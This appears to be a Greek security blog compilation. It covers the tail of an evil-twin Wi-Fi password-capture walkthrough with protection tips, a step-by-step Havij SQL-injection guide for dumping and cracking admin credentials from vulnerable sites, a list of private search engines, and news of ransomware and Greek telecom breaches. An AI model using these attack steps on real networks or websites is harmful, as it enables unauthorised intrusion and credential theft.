Αφού πατήσετε enter μερικές φορές, το σενάριο θα αρχίσει να καταγράφει το wpa handshake και δεν θα συνδεθεί κανείς σε αυτό το WI-FI.
Στο παραπάνω στιγμιότυπο οθόνης , έχουμε καταγράψει το wpa handshake , οπότε θα προχωρήσουμε παρακάτω
Τώρα, μετά το , θα σας ζητηθεί να επιλέξετε τη γλώσσα για την προτροπή. Σε αυτό θα επιλέξω τα αγγλικά.
Αφού επιλέξετε αυτό είναι το παράθυρο στο οποίο θα φτάσετε, θα ξεκινήσει η αποταυτοποίηση των παρόντων συνδεδεμένων συσκευών και θα εμφανιστεί ένα άλλο σημείο πρόσβασης Wi-FI με το ίδιο όνομα.
Δύο wifi με το ίδιο όνομα
Καθώς θα συνδεθείτε σε αυτό θα σας ζητηθεί παράθυρο παρόμοιο με αυτό :
Μόλις εισαγάγετε τον κωδικό πρόσβασης , στο μηχάνημα θα ανακτηθεί ο κωδικός πρόσβασης.
Όπως μπορείτε να δείτε, ο κωδικός πρόσβασης έχει ανακτηθεί:
Ο κωδικός πρόσβασης ήταν : 1234578
Προστασία από τις επιθέσεις Evil Twin:
Για να προστατευτούμε από αυτές τις επιθέσεις του κακού δίδυμου πρέπει πρώτα απ’ όλα να μάθουμε πώς να εντοπίζουμε αυτά τα σημεία πρόσβασης.
Check Network Names (SSIDs): Δώστε ιδιαίτερη προσοχή στα ονόματα των διαθέσιμων δικτύων (SSID). Να είστε επιφυλακτικοί σε δίκτυα με ονόματα παρόμοια με γνωστά δημόσια δίκτυα (π.χ. “Starbucks_FreeWiFi” έναντι “Starbuck_FreeWiFi”).
Verify with Network Administrators: Εάν είστε εργαζόμενος υπάλληλος και αντιμετωπίζετε ένα WI-FI με παρόμοιο όνομα σε ένα ανεπιθύμητο μέρος, παρακαλούμε επικοινωνήστε με τους διαχειριστές.
Check Encryption Type: Τα νόμιμα δίκτυα χρησιμοποιούν συχνά ισχυρή κρυπτογράφηση, όπως WPA2 ή WPA3. Αποφύγετε δίκτυα με αδύναμη ή καθόλου κρυπτογράφηση.
Monitor Signal Strength:Ελέγξτε την ισχύ του σήματος των κοντινών δικτύων. Εάν το σήμα ενός δικτύου γίνει ξαφνικά σημαντικά ισχυρότερο, αυτό μπορεί να αποτελεί ένδειξη επίθεσης.
Check for Multiple Networks with Same SSID: Εάν παρατηρήσετε πολλαπλά δίκτυα με το ίδιο SSID, μπορεί να είναι σημάδι επίθεσης Evil Twin. Τα νόμιμα δίκτυα συνήθως χρησιμοποιούν ένα μοναδικό SSID.
Disable Auto-Connect: Απενεργοποιήστε τη λειτουργία αυτόματης σύνδεσης στις συσκευές σας. Αυτό αποτρέπει τη σύνδεσή τους σε δίκτυα χωρίς τη συγκατάθεσή σας.
Check for Multiple Networks with Same SSID: Εάν παρατηρήσετε πολλαπλά δίκτυα με το ίδιο SSID, μπορεί να είναι σημάδι επίθεσης Evil Twin. Τα νόμιμα δίκτυα συνήθως χρησιμοποιούν ένα μοναδικό SSID.
Μέθοδοι προστασίας
Verify Network Authenticity: Επιβεβαιώστε το όνομα του δικτύου (SSID) με την εγκατάσταση ή τον οργανισμό που παρέχει το WI-FI.
Avoid Open Networks: Αποφύγετε τη σύνδεση σε ανοιχτό δίκτυο.
Disable Automatic Wi-Fi Connection: Απενεργοποιήστε τη λειτουργία αυτόματης σύνδεσης στις συσκευές σας για να αποτρέψετε τη σύνδεσή τους σε άγνωστα δίκτυα χωρίς τη συγκατάθεσή σας.
Be Wary of Pop-Up Windows: Εάν μια πύλη αιχμαλωσίας ή μια σελίδα σύνδεσης εμφανιστεί απροσδόκητα κατά τη σύνδεση σε δημόσιο δίκτυο, επαληθεύστε τη γνησιότητά της πριν εισαγάγετε οποιαδήποτε πληροφορία.
Inspect SSL Certificates:Όταν συνδέεστε σε δίκτυα με captive portals, βεβαιωθείτε ότι το πιστοποιητικό SSL είναι έγκυρο και ταιριάζει με το όνομα του δικτύου.
Use Mobile Hotspots or Cellular Data: Όταν έχετε αμφιβολίες σχετικά με την ασφάλεια ενός δημόσιου δικτύου Wi-Fi, σκεφτείτε να χρησιμοποιήσετε το hotspot του κινητού σας ή τα δεδομένα κινητής τηλεφωνίας για πρόσβαση στο διαδίκτυο.
Πώς να χακάρετε μια σελίδα με το Havij (script kiddie)
Πάμε να δούμε πως θα εκμεταλλευτούμε μια ευπάθεια sql injection με τη χρήση του Havij
1)Πρέπει να έχουμε βρει μια ευπαθής (vulnerability) ιστοσελίδα.
2)Βάζουμε το url στο Havij και πατάμε Analyze
Όπως βλέπετε απο κάτω το status γραφεί Analyze target.
Περιμείνουμε μεχρι να τελειώσει το Analyze
Βρίσκουμε τα Tables
Θα δείτε ότι μας έβγαλε κάποια Tables
Βρισκουμε τα Columns Απο τα tables που μας εβγαλε κοιτάμε να υπάρχει κάποιο με όνομα: “admin,users,members.”αυτα ειναι τα πιο γνωστά. Αμα βλέπετε κάποιο απο αυτα κάνετε ένα click πιάνω του και μετα πατήστε Get Columns
Και έτσι πήραμε τα Columns!!
Στα Columns θα βρείτε Username και Password κάντε ενα click πιάνω τους και μετα πατήστε Get Data
Μολις πηρατε το Username και το Password
Το Password συνηθως ειναι σε μορφη Hash
Για να το σπασετε πηγαινετε στην επιλογη MD5 που υπαρχει στο προγραμμα και καντε επικολληση το Hash μεσα στο κουτακι που εχει και πατηστε Start.
Το μόνο που μας έμεινε ειναι να βρούμε απο που κανει ο Admin login. Πηγαίνουμε στην επιλογή Find Admin βαζουμε την σελίδα μας στο κουτάκι που εχει και πατάμε Start..
Οι Καλύτερες Μηχανές Αναζήτησης για Ανώνυμη Περιήγηση
Υπάρχουν πολλές μηχανές αναζήτησης που έχουν ως κύριο χαρακτηριστικό την προστασία της ανωνυμίας των χρηστών και τον σεβασμό της ιδιωτικής τους ζωής. Αυτές οι μηχανές αναζήτησης δεν καταγράφουν τις αναζητήσεις σας, δεν χρησιμοποιούν τα προσωπικά σας δεδομένα για στοχοθεσμένες διαφημίσεις και προσπαθούν να διατηρήσουν την ανωνυμία σας. Εδώ είναι μερικές από αυτές:
DuckDuckGo (https://duckduckgo.com): Η DuckDuckGo είναι μία από τις πιο δημοφιλείς μηχανές αναζήτησης. Δεν αποθηκεύει πληροφορίες χρήστη, όπως η IP διεύθυνση, και δεν παρακολουθεί τις αναζητήσεις σας.
StartPage (https://www.startpage.com): Το StartPage χρησιμοποιεί τη Google για τις αναζητήσεις σας, αλλά απομονώνει τα προσωπικά σας δεδομένα από τη Google, διατηρώντας την ανωνυμία σας.
Qwant (https://www.qwant.com): Η Qwant είναι μια γαλλική μηχανή αναζήτησης που δεν παρακολουθεί τις αναζητήσεις σας και δεν χρησιμοποιεί προσωπικά δεδομένα για προσαρμοσμένα αποτελέσματα.
Searx (https://searx.me): Ο Searx είναι ένα ανοικτού κώδικα σύστημα αναζήτησης που επιτρέπει στους χρήστες να το χρησιμοποιούν από τον δικό τους server για μεγαλύτερη ανωνυμία.
MetaGer (https://metager.org): Η MetaGer είναι μια μηχανή αναζήτησης από τη Γερμανία που προστατεύει την ιδιωτική ζωή των χρηστών και δεν καταγράφει προσωπικά δεδομένα.
Κυβερνοεπίθεση Στο Δικαστικό Σύστημα της Ελβετίας: Πιθανή Επίθεση Ransomware
Ένα δικαστικό σύστημα στην Ελβετία ανακοίνωσε την Τρίτη ότι έχει πληγεί από μια κυβερνοεπίθεση.
Το δικαστήριο, που βρίσκεται στη γερμανόφωνη περιοχή του Μαρτς στην κεντρική Ελβετία, εξυπηρετεί περίπου 45.000 άτομα.
Αν και η φύση της επίθεσης δεν έχει αποκαλυφθεί πλήρως, μια περιορισμένη περιγραφή στην ιστοσελίδα του δικαστηρίου υποδεικνύει ότι πιθανότατα πρόκειται για μια επίθεση ransomware. “Κλείσαμε προσωρινά ολόκληρο το πληροφορικό σύστημα για να προστατέψουμε τα δεδομένα. Προς το παρόν, δεν υπάρχει σαφής χρονικός ορίζοντας για την επαναφορά του, αλλά η διαδικασία μπορεί να διαρκέσει αρκετές ημέρες”, αναφέρει η ιστοσελίδα.
Οι τηλεφωνικές γραμμές του δικαστηρίου είναι προσωρινά εκτός λειτουργίας, αλλά προγραμματισμένες ακροάσεις αναμένεται να πραγματοποιηθούν σύμφωνα με το πρόγραμμα.
Αυτή η κυβερνοεπίθεση ακολουθεί μια παρόμοια επίθεση ransomware στη δημοτική διοίκηση του Zollikofen, προαστίου της Βέρνης, τον Νοέμβριο.
Σύμφωνα με την ελβετική εφημερίδα Inside IT, οι επιτιθέμενοι κρυπτογράφησαν τα δεδομένα διαχείρισης κατά τη διάρκεια της επίθεσης, με τις αρχές να αποσυνδέουν τα δίκτυα ως προληπτικό μέτρο.
Η κυβερνοεπίθεση μπορεί να έχει σοβαρές συνέπειες στη λειτουργία του δικαστικού συστήματος. Η διακοπή της πρόσβασης σε σημαντικά δεδομένα και αρχεία μπορεί να απειλήσει την ακεραιότητα των πληροφοριών και να δυσκολέψει την απονομή δικαιοσύνης. Αυτό μπορεί να οδηγήσει σε καθυστερήσεις ή ακόμη και ακυρώσεις δικαστικών διαδικασιών, με σοβαρές επιπτώσεις για τη δικαιοσύνη και την εμπιστοσύνη του κοινού.
Επιπλέον, μια κυβερνοεπίθεση μπορεί να προκαλέσει τη διαρροή ευαίσθητων πληροφοριών, θέτοντας σε κίνδυνο την ιδιωτικότητα και την ασφάλεια των ατόμων που συμμετέχουν σε δικαστικές διαδικασίες, με σοβαρές επιπτώσεις για τους ενδιαφερόμενους.
Data Breach για εκατομμύρια χρήστες κινητής τηλεφωνίας
Οι χάκερς κάνουν πάρτι με τα δεδομένα εκατομμυρίων χρηστών τη στιγμή που η δικαιοσύνη κάνει τα στραβά μάτια και η ΑΔΑΕ τους τιμωρεί με χάδια.
Σοβαρά ερωτήματαέχουνπροκύψει σχετικά με το απόρρητο των επικοινωνιών εκατομμυρίων χρηστών κινητώντηλεφώνων στη χώρα μας, όπως προκύπτει από επίσημα έγγραφα και αποφάσεις της Ανεξάρτητης Αρχής γιατην Προστασία του Απορρήτου των Επικοινωνιών (ΑΔΑΕ).
Οι Data Journalistsαποκαλύπτουν σήμερα ένα“μαύροκουτί”συστηματικώνπαραβιάσεωντου απορρήτου των επικοινωνιών λόγωανεπαρκώνμέτρωνασφαλείας απότιςεταιρείεςκινητήςτηλεφωνίας.Τα τελευταία χρόνια, η ΑΔΑΕ έχει επιβάλει πρόστιμα στιςεταιρείες VODAFONE, COSMOTE, ΟΤΕκαι FORTHNET για εκατοντάδεςπεριπτώσεις παραβίασης του απορρήτουπουοιίδιεςπροκάλεσαν.
Σε μια περίπτωση, οιχάκερκατάφεραν να αποκτήσουν τα προσωπικά δεδομένα εκατομμυρίων χρηστών της Cosmote. Σε μια άλλη περίπτωση, κατά τη μεταφοράμιας τηλεφωνικής γραμμής από την Cosmote στη Vodafone, έναάτομοχρησιμοποίησετο τηλέφωνο ενός άλλου χρήστηγιααρκετέςημέρεςκαιότανκάλεσετο προσωπικό τουτηλέφωνο,απάντησεένας άλλος χρήστης.
Αυτέςείναι μόνο δύο από τις εκατοντάδες περιπτώσεις που εντόπισεη ΑΔΑΕ, ορισμένες από τις οποίες έχουν οδηγηθείσταδικαστήρια,αλλά δυστυχώς όχι με πρωτοβουλία της ΑΔΑΕ. Οιεταιρείεςκινητήςτηλεφωνίαςδενφαίνεταιναπράττουντοσωστό,παράτιςσυνταγματικέςκαι νομικέςυποχρεώσειςτουςναπρολαμβάνουντέτοιαπεριστατικάκαιναεφαρμόζουνσυγκεκριμένεςπολιτικέςασφαλείας.
Παράλληλα,αυτόπουπροκύπτειαπό τηνέρευνα του Data Journalistγιατα κέρδη των εταιρειών και τα πρόστιμα που επιβάλλονταιπροκαλείέκπληξη:τα κέρδη γιατηνπερίοδο2017-2022ανέρχονταισεπολλέςδεκάδεςδισεκατομμύριαευρώ,ενώτα πρόστιμα δεν ξεπερνούν τα 7,2 εκατομμύρια ευρώ. Ας δούμε όμως λίγοπιοπροσεκτικάτιαποκαλύπτειη έρευνα της Data Journalist.
Μπέρδεψαν τις γραμμές κατά τη μεταφορά από Cosmote σε Vodafone
Τον Μάρτιο του 2017, ο επιχειρηματίας Γιώργος ΦλώραςυπέβαλεγραπτήκαταγγελίαστηνΑρχή Διασφάλισης του Απορρήτου των Επικοινωνιών (CSA) σχετικά με πιθανή “παραβίαση της ισχύουσας νομοθεσίας γιατοαπόρρητο των επικοινωνιών” από την COSMOTE. Η καταγγελία αφορούσε συγκεκριμέναγεγονότακατά τη μεταφοράτηλεφωνικώνσυνδέσεωναπό την COSMOTE στη Vodafone. Όπως διαπίστωσε ο κ. Φλώρας,η τηλεφωνική του γραμμή είχεχρησιμοποιηθεί από άλλονχρήστηγιαδιάστημα δύο εβδομάδων και ο ίδιος χρησιμοποιούσε την τηλεφωνική γραμμήάλλου χρήστη. Ήταν σαφές ότι κάτι είχε πάει στραβά.
Τον Μάρτιο του 2018, η ΑΔΑΕ αποφάσισε ναδιενεργήσειέκτακτοέλεγχοστηνCOSMOTE και τη VODAFONE. Μάλιστα, κλιμάκιο της ΑΔΑΕ επισκέφθηκε τις εγκαταστάσεις των δύο εταιρειών. Ηομάδα διαπίστωσε ότι όντωςυπήρχανκάποιαπροβλήματα.Συγκεκριμένα,από τις 20.02.2017 έωςτις 3.03.2017, ο κ. Φλώραςχρησιμοποιούσετηλεφωνικήγραμμήπουδενήτανσυνδεδεμένημεαυτόνκαι όταν κάποιος καλούσε τον αριθμό του, απαντούσε άλλος χρήστης. ηομάδα της ΑΔΑΕ απέδωσε το πρόβλημα αυτό στογεγονόςότι“κατάτηνπερίοδοδιακοπής από 20.02.2017έως03.03.2017,οίδιοςσύνδεσηαναμίχθηκελανθασμένααπότουςτεχνικούςτουΟΤΕμετησύνδεσητουκαταγγέλλοντοςσεσχέσημετην υλοποίηση της φορητότηταςτηςσύνδεσηςστοδίκτυοτης Vodafone”.
Τον Νοέμβριο του 2020, η ΑΔΑΕ αποφάσισε να καλέσει την COSMOTEσεακρόαση.ΣεγραπτόυπόμνημαπουαπέστειλεστηνΑΔΑΕστις19Μαρτίου2021,οΟΤΕ ουσιαστικά δεν αμφισβήτησε τα πραγματικά περιστατικά που διαπίστωσεη ΑΔΑΕ.
Ταυτόχρονα, ο ΟΤΕ ανέφερεότιηλανθασμένησυν-είσπραξη οφειλόταν σε ανθρώπινο λάθος και ότικάτι τέτοιο μπορούσε να διαπιστωθεί μόνο μετά τηνυποβολή καταγγελίας.
Τελικά,με την υπ’αριθμ. 233/2021 απόφασή της,ηΑΔΑΕέκρινεομόφωναότιοΟΤΕ ευθύνεται“λόγωπαραβίασηςτης κείμενης νομοθεσίας περί απορρήτου των επικοινωνιών απόμηεξουσιοδοτημένηανάμειξη”-σύμφωναμε την απόφαση της ΑΔΑΕ, η λανθασμένη“συντόμευση”οφειλότανσεαμέλεια του τεχνικού του ΟΤΕ που είχεαναλάβειτη μεταφορά.
Είναι εκπληκτικότο γεγονός ότι ενέτει 2023, ένας γιγαντιαίοςφορέαςτηλεπικοινωνιών όπως η COSMOTE θαμπορούσε να θέσεισε κίνδυνο την ασφάλεια των συνομιλιών των πελατών και τη φήμη της ίδιαςτηςεταιρείαςλόγω ανθρώπινου λάθους. ΗπλειοψηφίατηςΑΔΑΕ επέβαλε πρόστιμο 20.000 ευρώ στον ΟΤΕ για την υπόθεση αυτή.
Χάκερς υπέκλεψαν τα δεδομένα 12.013.928 εκατ. χρηστών
ΤοπεριστατικότουΦλώρου δεν είναι τομοναδικόπεριστατικό που αφορά εταιρείακινητής τηλεφωνίας:τον Σεπτέμβριο του 2020 συνέβηένα περίεργο περιστατικό. Χάκερς επιτέθηκαν στην COSMOTE,υποκλέπτονταςτα δεδομένα εκατομμυρίων χρηστών καικαταστρέφοντας τα συστήματα ασφαλείας της εταιρείας. Μάλιστα, η ίδια η εταιρεία κατήγγειλετο περιστατικό στηνΑΔΑΕκαιυπέβαλεέκθεση,στηνοποία η COSMOTEτόνισε ότι είχεδιενεργηθεί έρευνα καιότι“30GBαρχείωνήταναποθηκευμέναστονδιακομιστή”.Το αρχείο περιείχε δεδομέναεπικοινωνιών συνδρομητών της COSMOTE απότις9Ιανουαρίουέως τις 9Μαΐου2020“.
Βρέθηκανεπίσης“30GBδιαδικτυακήςκίνησης δεδομένων μεταξύ του διακομιστή και μιας εξωτερικής IPπουανήκει σε λιθουανικόπάροχοφιλοξενίας”,όπως ισχυρίστηκε η εταιρεία.“ΗΑΔΑΕ, με την υπ’αριθμ. 227/2020 απόφασή της,αποφάσισε να διερευνήσει τηνυπόθεση.
Πράγματι,τον Νοέμβριο του 2021, ηομάδα ελέγχου της ADAEολοκλήρωσε τον έλεγχο και συνέταξε έκθεση. Τα αποτελέσματαήταν ωςεπί το πλείστον ανατριχιαστικά: οιχάκερς είχαν επιτεθείστην COSMOTE και είχαν αποκτήσειταπροσωπικά δεδομένα εκατομμυρίων χρηστών.
Σύμφωνα με την έκθεση,οι χάκερ απέκτησαν “δεδομένακίνησης και συντεταγμένες σταθμών βάσης 4.792.869 μοναδικώνσυνδρομητών COSMOTE“,“MSISDN/CLI, 6.939.χρήστες άλλων παρόχων σταθερής & κινητής τηλεφωνίας στη χώρα που πραγματοποίησαν ή έλαβανκλήσειςσε συνδρομητές COSMOTE656άτομα” και “Συντεταγμένες MSISDN, IMEI, IMSI και σταθμούβάσης για 281.403 συνδρομητές περιαγωγής που πραγματοποίησαν κλήσεις μέσω του δικτύου κινητής τηλεφωνίας της COSMOTE“.
Οι κωδικοί στα social media
Το πιο εντυπωσιακό,ωστόσο, είναι ο τρόπος με τον οποίο οι χάκερ κατάφεραν να παραβιάσουν το απόρρητο της COSMOTE. Σύμφωνα με την έκθεση ελέγχου,“……Οιεπιτιθέμενοιχρησιμοποίησανταδιαπιστευτήριατωνδιαχειριστώντωνοποίωνοικωδικοί πρόσβασης βρίσκοντανσεμιαλίσταπουδιατηρούντανσε μιαβάσηδεδομένωνκωδικώνπρόσβασης που διέρρευσεαπόχάκερςαπόταμέσα κοινωνικής δικτύωσης (LinkedIn, Facebookκ.λπ.) και άλλες υπηρεσίες στο ……. απέκτησαν διαχειριστική πρόσβαση στους διακομιστές της υποδομής”.
Μεάλλα λόγια, όπως αναφέρουν στην έκθεσή τους οι ελεγκτές της ΑΔΑΕ, “η βάση δεδομένωνπουελέγχονταναπότουςχάκερςπεριείχε στοιχεία πουταυτοποιούσαντηνεταιρεία και τουςλογαριασμούς πρόσβασης (ονόματαχρηστών και κωδικούς πρόσβασης) τωνυπαλλήλων της Cosmoteμεδικαιώματα διαχειριστή στα Πληροφοριακά και Επικοινωνιακά Συστήματα (ΠΕΣ) της εταιρείας”.
Πράγματι, όπως διαπίστωσαν οι ελεγκτές, “κρίσιμα δεδομέναστουςλογαριασμούς πρόσβασης τωνυπαλλήλων της εταιρείαςπροορίζονταν για χρήση στοΠΣΚΕτηςεταιρείας”,αλλάθαμπορούσαν“ναχρησιμοποιηθούν σε προσωπικέςεφαρμογές/υπηρεσίες εκτός τηςεταιρείαςκαιναδιαρρεύσουναπόεκεί”. Είναι συγκλονιστικότογεγονόςότιεκατομμύριαχρήστεςμιαςγιγαντιαίαςεταιρείαςτηλεπικοινωνιώνθαμπορούσαντόσοεύκολα να εκτεθούναπότιςαπερίσκεπτες ενέργειες ενός καιμόνο υπαλλήλου ιδιωτικής εταιρείας.
Τελικά,με την υπ’αριθμ. 225/2022 απόφασή της, ηΑΑΔΕέκρινετην COSMOTE υπεύθυνη για τη“διαρροή δεδομένωνπουταυτοποιούντηνεταιρεία και λογαριασμώνπρόσβασης (ονόματαχρηστών και κωδικούς πρόσβασης)“ και της επέβαλε πρόστιμο 200.000 ευρώ. Επιπλέον, η ΑΑΔΕ διαπίστωσε ότι“κατά τοσυγκεκριμένοπεριστατικόυπήρχαναποκλίσειςστηνεφαρμογήτηςπολιτικήςασφαλείαςτης COSMOTEγια τηνπροστασία του απορρήτου των επικοινωνιών”και επέβαλε πρόστιμο 3 εκατ. ευρώ.
Αυτόδενείναιτομοναδικόπρόστιμο:ηΑρχήΠροστασίαςΔεδομένωνΠροσωπικούΧαρακτήραεπέβαλε πρόστιμο 6 εκατ. ευρώ στην COSMOTE και 3,25 εκατ. ευρώ στον ΟΤΕ.
Έδωσαν 756.700 ρούτερ με κοινούς κωδικούς πρόσβασης
Μιαάλλη περίπτωση όπουδιακυβεύτηκε το απόρρητο των επικοινωνιών είναι οιεκατοντάδες χιλιάδες δρομολογητές που δόθηκαν στους παρόχους του ΟΤΕ, αλλά…χρησιμοποιούνταικοινοίκωδικοί πρόσβασης. τον Μάιο του 2015,μια ιδιωτική εταιρεία υπέβαλε μιαιδιαίτερασοβαρήκαταγγελίαστηνΑΠΔΠΧ.Σύμφωνα με την καταγγελία αυτή, οιδρομολογητέςπουέδινετότεοΟΤΕ στουςχρήστεςπεριείχαν,εκτός από τους κωδικούς διαχείρισης,δύοκωδικούςπρόσβασηςπουήτανκοινοίγια όλες τις συσκευές. Οικωδικοί αυτοί ήταναποθηκευμένοι σε “μη κρυπτογραφημένη μορφή”,πράγμαπουσήμαινεότιέναςτρίτος που τους γνώριζεμπορούσε να έχει“απομακρυσμένη πρόσβαση στιςσυσκευές”.
Οιδρομολογητέςαυτοίήτανδιαθέσιμοι σε περίπου 756.700συνδρομητέςκαιοΟΤΕ πραγματοποίησε τεχνικό έλεγχο και ισχυρίστηκε ότι δεν υπήρχε“κίνδυνος για το απόρρητο των επικοινωνιών”και “δενυπήρχεδυνατότητα απομακρυσμένης παρεμβολής μέσω των συσκευών αυτών“.Ωστόσο,σύμφωναμετην απόφαση 326/2020, η ΑΔΑΕ αμφισβήτησε τους ισχυρισμούς του ΟΤΕ, καθώς περίπου3.800 χρήστες είχαν απενεργοποιήσει τατείχηασφαλείαςτους(mini-firewalls)και είχαν ανοίξει το WAN τους.
Αυτοίοι χρήστες πουγνώριζανγιατουςπρόσθετουςλογαριασμούςπρόσβασης που εντοπίστηκανήταν στην πραγματικότητα“ευάλωτοι,θέτονταςέτσισεκίνδυνοτο απόρρητο τωνεπικοινωνιών τους“-σύμφωναμε τηνέκθεσηεπιτόπιου ελέγχου τηςομάδας της ΑΔΑΕτης 21/09/2015, “η γνώση τωνδημόσιωνδιευθύνσεων IP καιηαπενεργοποίηση των μηχανισμών ασφαλείας και τωνκωδικώνπρόσβασηςσεσυνδυασμόεπέτρεψαν την απομακρυσμένη πρόσβαση σεαυτούςτους δρομολογητές τρίτων με τη χρήση πρόσθετωνλογαριασμώνπρόσβασης”.
…Λαμβάνονταςυπόψηταπαραπάνω, οι κοινοί κωδικοί πρόσβασης τωντερματικώνCPE επέτρεπαν την απομακρυσμένη πρόσβαση σε τρίτουςχωρίςοτρίτοςναγνωρίζειτον προσωπικό κωδικό πρόσβασης διαχείρισης κάθε CPE…”.Ηαπόφασηαναφέρει.
Η ΑΔΑΕ κάλεσε τον ΟΤΕσεακρόασηκαι διενεργήθηκανπέντε επιτόπιοι έλεγχοι σε εργολάβους που είχαν προμηθευτεί τουςενλόγωδρομολογητέςτο2015 και το2016, ενώ διενεργήθηκαν και έλεγχοι στον ΟΤΕ. Σύμφωνα με την έκθεση ελέγχου,ο ΟΤΕ “δεν εφάρμοσε τις κατάλληλες πολιτικές και επιμέρους διαδικασίες κατά τηνπαροχήτερματικούεξοπλισμούCPEτύπουZTEH108Nσεσυνδρομητέςκαι δεν ενημέρωσε την ΑΔΑΕ ή τους συνδρομητές που επηρεάστηκαν από το συγκεκριμένοπεριστατικό ασφαλείας”.Στηνεταιρεία επιβλήθηκε τελικάπρόστιμο 20.000 ευρώ για παράβασητουνόμου,ιδίωςγιατηνπαράλειψηενημέρωσηςτωνσυνδρομητώνγια το περιστατικό ασφαλείας.
Δεν τηρούνται αρχεία με το ποιος μπαίνει στο σύστημα
Το 2019 υποβλήθηκεάλλημιακαταγγελίαστηνΕλληνικήΑρχήΠροστασίας Δεδομένων Προσωπικού Χαρακτήρα από χρήστη κινητούτηλεφώνου,μετονισχυρισμόότιμπορείνα παραβιάστηκε το απόρρητο των επικοινωνιών. Για τη διερεύνηση αυτού του περιστατικού, η CMAE αποφάσισε ναδιενεργήσειδιαχειριστικόέλεγχο στις εγκαταστάσεις της COSMOTE. Τον Μάιο του 2019,ηομάδα ελέγχου ολοκλήρωσε τον διαχειριστικό έλεγχο και υπέβαλεέκθεση στην CMAE.Σεαυτήναναφέρεταιότι“δεν τηρούνται αρχεία καταγραφής της πρόσβασης τωνδεδομένων επικοινωνίας στοσύστημα VMSκαι αρχεία καταγραφής των διαχειριστικώνλειτουργιών στο σύστημααυτό”,γεγονόςπουαποτελείπαράβασητωνκανονισμώντης ADAE.
Η Cosmote παραδέχθηκε ότι η αδυναμία αυτή έχει καταγραφεί ως μησυμμόρφωση με τον κανονισμό από το 2013. Πράγματι,σεεπιστολή τουΦεβρουαρίου2020,ηεταιρείαδήλωσεότι“η αναβάθμιση του VMS που υλοποιήθηκε το τελευταίο τρίμηνο του 2014 αφοράνέεςβελτιώσειςυλικού και λογισμικούκαι όχι αλλαγές στο υποσύστημα καταγραφής ενεργειών πουθαεπιβεβαίωναντημη συμμόρφωση με τηνενλόγω κανονιστική υποχρέωση”.
Η ΑΔΑΕ διαπίστωσε ότι“η ασυνέπεια της εταιρείας όσοναφοράτηντήρηση των αρχείων καταγραφής τουεν λόγω συστήματοςκαι σε κάθε περίπτωση η μη συμμόρφωσημετιςυποχρεώσεις καταγραφής τουσυστήματος VMS συνιστά κανονιστικήπαράβαση”.Πράγματι,η τήρησητων αρχείων καταγραφής πρόσβασηςκαι των αρχείων καταγραφής ενεργειών τουεν λόγω συστήματοςθαεπέτρεπετόσο στηνεταιρείαόσο και στηναρχήπρόσβασηςναελέγχουντα δεδομένα επικοινωνίας των χρηστών που είναιαποθηκευμένα στο σύστημα,αλλάστηνπροκειμένηπερίπτωση ο έλεγχοςαυτός δεν είναιεφικτός”.
Σύμφωναμετηνεταιρεία, η νέα πλατφόρμα,ηοποία θα κυκλοφορήσειτο 2021, θα διαθέτει μηχανισμό καταγραφής και πρόσβασης στιςενέργειες στο σύστημα επικοινωνίας. Στηναπόφασήτης,ωστόσο, η ΑΔΑΕ έκρινετηνCOSMOTE υπεύθυνη για παράβαση γιαπαραβίαση του ΚανονισμούΔιασφάλισηςτου Απορρήτου των ΗλεκτρονικώνΕπικοινωνιών, σύμφωνα με την υπ’αριθμ. 165/2011 απόφαση της ΑΔΑΕ.
Καταγγελία κατά Vodafone και FORTHNET
Ωστόσο,έχουνυποβληθεί επίσηςπολλέςκαταγγελίεςκατάάλλων εταιρειών τηλεπικοινωνιών.Συγκεκριμένα,τον Μάρτιο του 2018 υποβλήθηκε στην ADAE καταγγελία κατάτης VODAFONE. Οκαταγγέλλωνπαραπονέθηκε για “δυσλειτουργίεςτηςτηλεφωνικήςγραμμής”.Συγκεκριμένα, αναφέρθηκεσεπεριστατικάόπου“εισερχόμενες κλήσεις μεταφέροντανσε άλλη τηλεφωνική γραμμή”και όπου“ακούγοντανάλλεςτηλεφωνικέςσυνομιλίεςκατά τη διάρκεια της συνομιλίας“Η ADAE έδωσε εντολή στηνομάδα ελέγχου της να διερευνήσει.Τελικά, τον Φεβρουάριο του 2020, η ADAE επέβαλε πρόστιμο 40000 ευρώ για παράβαση του νόμου περί επικοινωνιών.
Τον Νοέμβριο του 2018,έναφυσικόπρόσωπουπέβαλε καταγγελία στηνADAEκατά της FORTHNET–ηADAEσυγκρότησε ομάδα ελέγχου καιδιενήργησεεπιτόπιο έλεγχο, ο οποίος ολοκληρώθηκε στις 19 Φεβρουαρίου 2019.
Σύμφωνα με την έκθεση του έκτακτου ελέγχου, το περιστατικό συνέβηαφούοκαταγγέλλωνκατήγγειλετηζημία τον Οκτώβριο του 2018. Ένα μήνα αργότερα, η βλάβη αποκαταστάθηκε με “αντικατάστασητουζεύγους”. Ή τουλάχιστον έτσι νόμιζε ο καταγγέλλων. Λίγο αργότερα,συνειδητοποίησε ότι υπήρξε“αναντιστοιχίαμεταξύτου αριθμούτηλεφώνου του καιενόςάλλουαριθμούτηλεφώνου”. Η αναντιστοιχία αυτή διήρκεσε11 ημέρες. Κατάτηδιάρκεια της περιόδουπουαναφέρεταιως“αναντιστοιχία”,έγιναν 37 κλήσεις, 12 από τις οποίες έμειναν αναπάντητες.
“Μεάλλαλόγια,έγινανκλήσειςαπόκαιπροςτοναριθμότηλεφώνου του καταγγέλλοντοςκατάτην περίοδο που υπήρχεασυμφωνίαμεταξύτουτηλεφωνικούτουαριθμούκαι ενόςάλλουτηλεφωνικούαριθμού”,αναφέρειηυπ’αριθμόν 139/2021απόφαση της ΑΔΑΕ, η οποία κάλεσε τηνεταιρείασεακρόαση.
Στη Δικαιοσύνη η υπόθεση από Φλωρά και ποινικές διώξεις
